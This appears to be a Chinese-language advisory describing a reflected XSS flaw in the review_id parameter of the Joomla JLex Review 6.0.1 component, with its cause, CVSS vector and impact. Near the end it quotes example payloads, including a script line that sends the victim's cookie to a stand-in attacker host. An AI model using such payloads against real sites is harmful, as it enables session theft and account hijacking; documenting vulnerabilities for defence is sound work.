CVE-2023-54360Joomla JLex Review 6.0.1 版本中发现了一个反射型跨站脚本(XSS)安全漏洞。该漏洞的成因在于应用程序未能对用户通过 URL 参数提交的数据进行充分的过滤和转义。具体而言,攻击者可以利用 `review_id` 参数注入恶意的 JavaScript 代码。当未察觉的用户在浏览器中访问攻击者精心构造的恶意链接时,这段注入的脚本代码将会在用户的浏览器环境中被执行。这种攻击方式可能导致用户的会话令牌被窃取、账户被劫持,或者遭受进一步的钓鱼攻击,从而对用户的数据机密性和完整性构成威胁。
该漏洞存在于 Joomla JLex Review 组件处理评论详情页的逻辑中。当组件接收包含 `review_id` 参数的 HTTP 请求时,它会直接读取该参数的值并将其未经安全处理地反射到 HTTP 响应的 HTML 页面中。由于缺乏必要的上下文感知输出编码(如 HTML 实体编码),浏览器无法区分注入的脚本和合法的页面内容。攻击者无需经过身份认证(PR:N)即可利用此漏洞,但需要诱导受害者点击链接(UI:R)。由于 CVSS 向量包含 S:C(范围变更),这意味着攻击可以突破浏览器的同源策略限制,注入的脚本拥有访问当前域下所有资源的权限。攻击者通常构造类似于 `<img src=x onerror=alert(1)>` 或 `<script>document.location='http://evil.com/'+document.cookie</script>` 的 Payload,利用社会工程学手段诱导受害者访问。一旦执行,攻击者即可完全控制受害者的浏览器会话,进而执行窃取凭证、篡改页面内容等恶意操作。